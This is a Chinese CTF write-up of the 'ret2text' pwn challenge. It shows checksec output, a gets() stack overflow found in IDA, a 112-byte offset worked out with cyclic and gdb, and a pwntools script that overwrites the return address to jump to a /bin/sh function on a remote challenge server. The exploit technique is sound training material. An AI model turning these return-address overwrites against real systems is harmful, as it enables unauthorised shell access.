CTF:ret2text

PWN ret2text

题目链接:ret2text

参考博客:CTF Wiki 基本 ROP

参考视频:【CTF】Linux PWN入门 Bamboofox社课系列

0x01

下载ret2text文件,复制到 翔哥的van美pwn机 中CTF:ret2text
查看保护机制
CTF:ret2text

Arch:    i386-32-little //文件为32位程序

RELRO:    Partial RELRO

Stack:    No canary found    //未开启canary保护

NX:      NX enabled    //开启了栈不可执行保护

PIE:      No PIE (0x8048000)    //未开启地址无关可执行

0x02

查看到文件为32位,拖入32位IDA中
找到main函数
CTF:ret2text
发现有gets,那么肯定有栈溢出漏洞。

继续查找文件,发现secure,其中有/bin/sh
CTF:ret2text

按shift后再按空格找到secure的地址
CTF:ret2text
这个地址中的任意一个就行了
先写一部分脚本

# io = process('./ret2text')
io = remote('node2.zjnuoj.com',38069)
success_addr = 0x0804863A
payload =   + p32(success_addr)
io.sendline(payload)
io.interactive()

0x03

找到需要返回的地址后,我们要寻找偏移量了。

使用cyclic生成字符队列
使用gdb工具,打开ret2text
run运行
输入刚刚生成的字符串
CTF:ret2text

找到invalid address 0x62616164

CTF:ret2text

使用cyclic -l 计算字符串偏移量
发现偏移了112位
CTF:ret2text

0x04

找到偏移量和返回的地址直接写脚本

from pwn import *
# io = process('./ret2text')
io = remote('node2.zjnuoj.com',38069)
success_addr = 0x0804863A
payload = 'a' * 112  + p32(success_addr)
io.sendline(payload)
io.interactive()

打开终端运行脚本

成功连接

使用ls查看目录

发现flag

直接cat flag

拿下!
CTF:ret2text

上一篇:CTF之分离图片


下一篇:CTF训练(密码学)——bacon